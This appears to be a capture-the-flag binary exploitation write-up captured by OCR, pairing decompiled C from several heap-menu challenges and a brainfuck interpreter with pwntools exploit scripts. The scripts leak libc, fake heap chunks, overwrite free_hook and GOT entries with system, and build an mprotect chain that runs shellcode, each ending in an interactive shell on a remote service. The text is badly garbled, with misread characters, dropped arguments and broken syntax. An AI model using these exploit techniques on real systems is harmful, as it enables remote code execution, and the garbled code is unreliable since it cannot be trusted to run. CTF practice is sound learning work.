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r(1i=8; <= 9 && flist[i1]; ++1 )
(i==18)

puts("Full flag!");
= OLL;

se
= (int *)malloc(@xleulLl);

printf(“size?>");
[2] = read_int();

*(_QWORD *)v2 = malloc(v2[2]);
if ( !*(_QWORD *)v2 )
{
puts(“Can not malloc!");
exit(@);
¥

printf(“content:");

secure_read(*(_QWORD *)v2, (unsigned int)

[3] = 1;
flist[i] = v2; |
puts("OK!");
= OLL;
turn M

v, flag.

[2]);
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edit

i)
if ( flist[vi] )
{
v2 = flist[vl];
if ( *(_DWORD *)(v2 + 12) )
{
-=*(_DWORD *)(v2 + 12);
v3 = realloc(*(void **)v2, *(int *)(v2 + 8));
if (v3)
{
*(_QWORD *)v2 = v3;
printf("New content:");
secure_read(*(void **)v2, *(_DWORD *)(v2 + 8));
puts("OK!");
I

else

{
puts("Can not edit this flag!");

¥
result = @LL;

h

else

{
puts("Dead!");

result = @LL;

}
1
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show

Ent Show()
i
int v1; // [rsp+4h] [rbp-Ch]

__inte4 v2; // [rsp+8h] [rbp-8h]

printf("Index:");
vl = read_int();
if(vicee ||l vis>a)

puts("You want to steal the flag?");
exit(e);
}
if ( Iflist[vi] )
return puts("None flag!");
v2 = flist[vi];
if ( !*(_DWORD *)(v2 + 12) )
return puts("Dead flag!");
printf("Flag of index %d:\n", (unsigned int)vil);
printf("Content: %s\nSize: %dsState: %d\n", *(const char **)v2, *(unsigned int *)(v2 + 8), *(unsigned int *)(v2 + 12));
| return puts("Done!");
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delete

lint Delete()

{
int v1; // [rsp+4h] [rbp-Ch]
void **ptr; // [rsp+8h] [rbp-8h]

printf("Index:");
vl = read_int();
if (vi<e || vi>9)
{
puts("You want to steal the flag?");
exit(e);
¥
if ( Iflist[vi] )
return puts(“None flag!");
ptr = (void **)flist[v1];
free(*ptr);
*ptr = OLL;
free(ptr);
flist[vl] = OLL;
return puts("OK!");
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from pwn import

r remote( ,29001)
libc ELF( )

def add(size,content):
.sendlineafter( )
.sendlineafter( 5 (size))
.sendafter( ,content)
edit(idx,content):
.sendlineafter( )
.sendlineafter( 5 (idx))
.sendafter( ,content)
show(idx):
.sendlineafter(
.sendlineafter(
delete(idx):
.sendlineafter(
.sendlineafter(
edit2(idx):
.sendlineafter(
.sendlineafter(

add(o9,"'")
edit2(0)
delete(9)
add (0x10,p64(0))

)
u64(p.recv(6).ljust(s, )

)
ub4(p.recv(6).ljust(s, ))-96-0x10-1ibc.sym[

)

add (0x10,p64(libc.sym|[
add (0x10,p64(1libc.sym|[
delete(2)

r.interactive()
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add

.|void add()
i
int 1i; //
for (1 =0; 1 <= 19; ++1 )
{
if ( !*(_QWORD *)(8LL * i + unk_203060) )

’+ {

i puts("Now, you can input your test string:");

) *(_QWORD *)(8LL * i + unk_203060) = malloc(@x3@uLL);
sub_1147(*( QWORD *)(8LL * i + unk_203068));
memset(*(void **)(8LL * i + unk_203060), ©, ©x30uLL);
sub_D34(*( QWORD *)(8LL * i + unk_203060), 32LL);
puts(“Success!");
break;

}
}

Wooif ( == 20 )

) puts("Sorry,there is no free space here.");

'}
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edit

v4d = _ readfsgqword(@x28u);
puts("Please give me the index of the string:");
vl = sub_DC5();
if (vl >= @ && vl <= 19 && *(_QWORD *)(8LL * vl + unk_203060) )
{
puts("Which char do you want to edit:");
sub_D34(v3, 2LL);
v2 = strchr(*(const char **)(8LL * vl + unk_203060), v3[e]);
if (v2)
{
puts("What do you want to edit it into:");
*v2 = getchar();

getchar();
puts("Success!");
}
else
{
puts("Sorry, I can't find it!");
}
}
else
{

puts("Sorry~");
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show

nt show()
int v1; // [rsp+Ch] [rbp-4h]

puts("Please give me the index of the string:");
vl = sub_DC5();
if (vi<®@ || vi>19 || !*(_ QWORD *)(8LL * v1 + unk_203060) )
return puts("Sorry~");
puts(“The string is:");
if ( strlen(*(const char **)(8LL * vl + unk_203060)) > ©x20 )
{
puts((const char *)@x726F7221);
exit(e);
}
return puts(*(const char **)(8LL * vl + unk_2030680));

del
int del()
{
int v1; // [rsp+Ch] [rbp-4h]
puts("Please give me the index of the string:");
vl = sub_DC5();
if (vi< @ || vi>19 || !'*(_ QWORD *)(8LL * v1 + unk_203060) )
return puts("Sorry~");
free(*(void **)(8LL * vl + unk_2@3e6e));
*(_QWORD *)(8LL * v1 + unk_203068) = OLL;
return puts(“"Success!");
}
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result = unk_263@186;
if ( unk_203010 )
{
puts("\nIf you don't know what to test, here are some strings to choose from.");
puts("Do you want to use one?(Y/N)");
vl = getchar();
getchar();
if (vl == 89 )
{
unk_203010 = 9;
puts("Here are 5 strings to be tested. Which one do you want to test?");
v2 = (int)abs32(sub_DC5()) % 5;
T\\."d)“l-}
{

result = puts("It seems that you don't want to use these strings.");

¥

else
{
puts(“"The string:");
result = puts(*((const char **)&unk_203060 + v2 + 4));
¥
¥
else
{
result = puts("Bye~");
¥
}

return result;
1
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from pwn import

r = remote( ,27097)

elf = ELF(



def add(string):
r.sendlineafter( 5 )

r.sendafter( ,string)

edit(index,o0ld c,new c):
.sendlineafter(
.sendlineafter( (index))
.sendafter( ,old c)

.sendlineafter( ,hew_c)

show(index):
r.sendlineafter(

r.sendlineafter( (index))

delete(index):
r.sendlineafter(
r.sendlineafter( (index))

test(index):

r.sendlineafter(

r.sendlineafter(

r.sendlineafter( (index))

test (0x80000000)
r.recvuntil( )
ub4d(r.recv(6).ljust(0x8,
heap_ptr - 0x2030C0
elf base + elf.got[
5 (elf_base)

(0x20) :
char_table (

add(char_table)
0x20)

add( 0x20)

add ( 0x20)

for i in (0x18):
edit(o, 5 ( i))
ox11
,p8(size & OxFF))
,p8((size 0x8) OXFF))
(0x17,0x10,-1):
(ord('B") + i) P )
('B') + 0x10) ,p8(0x30))
p64(0) + p64(0x31)
p64(heap_ptr - 0x18) p64(heap_ptr
(Ox1F,-1,-1):
edit(o, ( ( )+1) ,fake_chunk[i])

delete(1)




edit(9,
edit (9,
for i in (6):
edit(9, ,p8((free_got (8 i)) OxFF))

)
free_addr ub4(r.recv(6).ljust(oxs8,

libc_base free_addr libc.sym[
free_hook libc_base libc.sym[
system_addr libc_base libc.sym[
print (libc_base)

for i in (6):

edit(0,p8((free_got (8 i)) OxFF) ,p8((free_hook (8 i)) OxFF))

5 ,p8((system_addr (8 i)) OxFF))

r.interactive()
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Welcome();
printf("How many times do you want to calculate:", );
_is0c99_scanf("%d", &v7);
if (v7 <=3 || v7 > 255 )
{
puts("wrong input!");
exit(-1);
}
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kase 1:
Add();
*(_DWORD *)(v8 + 4 * v9)
goto LABEL_11;

case 2:
Sub();
*(_DWORD *)(v8 + 4 * v9)
goto LABEL_11;

case 3:
Mul();
*(_DWORD *)(v8 + 4 * v9)
goto LABEL_11;

case 4:
Div();
*(_DWORD *)(v8 + 4 * v9)
goto LABEL_11;

case 5:
memcpy (&vE, v8, 4 * v7);
free(vg);
return ©;

default:
puts("wrong input!"):

ResultAdd;

ResultSub;

ResultMul;

ResultDiv;
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from pwn import

context(os ,arch

r remote(
e1f=ELF(

def add(value):
r.sendlineafter(
r.sendlineafter(

r.sendlineafter(

bss_addr=0x80EB00O
read=elf.symbols[
mprotect=elf.symbols[
pop_eax=0x080bb406
jmp_eax=0x08048102
pop_ebxesiedi=0x08048913
r.sendlineafter(

add (0x50)
add (mprotect)
add (pop_ebxesiedi)

r.sendlineafter(

,log level

,29365)

r.send(asm(shellcraft.sh()))

r.interactive()
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= malloc(@xleuLL);
qword_2@2e48[vE] = (__inte4)
if (! )

goto LABEL_34;

_printf_chk(1LL, "Size:");

= (__inte4 *)
*(_QWORD *) = oLL;

= 9;

do
{

.
»

.
»

while ( read(®@, &buf, 1ulLl) !=1)

{
= (__int64 *)((char *)vZ + 1);
if ( == )
goto LABEL_26;

¥
if ( == 10 )
break;
*(_BYTE *) = M
= (__int64 *)((char *)v2 + 1);
¥
while ( = );
LABEL_26:
= strtol( , OLL, 10);
= malloc((int)v3);
if ( )
{
= OLL;
puts("Content:");
=B_,



edit

I Vi = Skl LWLATIPLD 5 Yl LU ),

if ( vl <= OxF && (v2 = (int)vl, qword_2@2e4e
{
v3 = (__inte4 *)nptr;
_printf_chk(1LL, "Size:");
*(_QWORD *)nptr = @LL;
buf = 8;
do
{
while ( read(®@, &buf, 1uLL) !=1)
{
v3 = (__inted4 *)((char *)v3 + 1);
if ( v3 == vie )
goto LABEL_13;
}
if ( buf == 10 )
break;
*(_BYTE *)v3 = buf;
v3 = (__inte4 *)((char *)v2 + 1);

}

while ( v3 != vie );
LABEL_13:

v7 = strtol(nptr, OLL, 10);

vd = @LL;

puts(“"Content:");
v5 = *(_QWORD *)(qword_2e2e4e[v2] + 8);
buf = @;
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from pwn import

)
,26139)

def add(size,content):
p.sendlineafter( 5
p.sendlineafter( (size))

p.sendlineafter( ,content)

def edit(idx,size,content):
p.sendlineafter( 5 )
p.sendlineafter( (idx))
p.sendlineafter( 5 (size))

p.sendafter( ,content)

def show():
p.sendlineafter(

def delete(idx):
p.sendlineafter(
p.sendlineafter(

)
)
0x18+p64(0x91)
(payload),payload)

libcbase=u64(p.recvuntil( )[-6:].1just(8, ))-libc.sym[
log.success( (libcbase))
system=1libcbase+libc.sym[ ]

free_hook=1ibcbase+libc.sym[

add (0x20, )
payload=p64(0)*4+p64(0)+p64(0x21)+p64(0x50)+p64(free_hook)

edit (3, (payload),payload)

edit(4,8,p64(system))

delete(5)

p.interactive()
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int _ cdecl main(int argc, const char **argv, const char **envp)
{

size_ t i; //

char s[1024]; //

unsigned int vé; //

= __readgsdword(©x14u);
setvbuf(stdout, @, 2, @);
setvbuf(stdin, @, 1, 9);
p = (int)&tape;
puts("welcome to brainfuck testing system!!");
puts("type some brainfuck instructions except [ 1");
memset(s, @, sizeof(s));
fgets(s, 1024, stdin);

for (1 =0; i < strlen(s); ++i )
do_brainfuck(s[1]);
return 8;
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switch ( al )
{

case '+':
result = p;
++*(_BYTE *)p;
break;

case ',":
v2 = (_BYTE *)p;
result = getchar();
*v2 = result;
break;

case '-':
result = p;
--*(_BYTE *)p;
break;

case '.':
result
break;

case '<':
result = --p;
break;

case '>':
result
break;

case '[':
result
break;

default:
return result;

putchar(*(char *)p);

+p;

puts("[ and ] not supported.");
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from pwn import
ptr 0x080420a0

putchar 0x8042030
jmp 0x8048671

r.sendline(payload)

r.recv(l1)

puts_addr=u32(p.recv(4)[::-1])
print (puts_addr)

]+puts_addr-1libc.symbols[

gets_addr=1libc.symbols| ]+puts_addr-1libc.symbols[
.send(p32(system_addr))
.send(p32(gets_addr))

.recvuntil(

.sendline(

.interactive()
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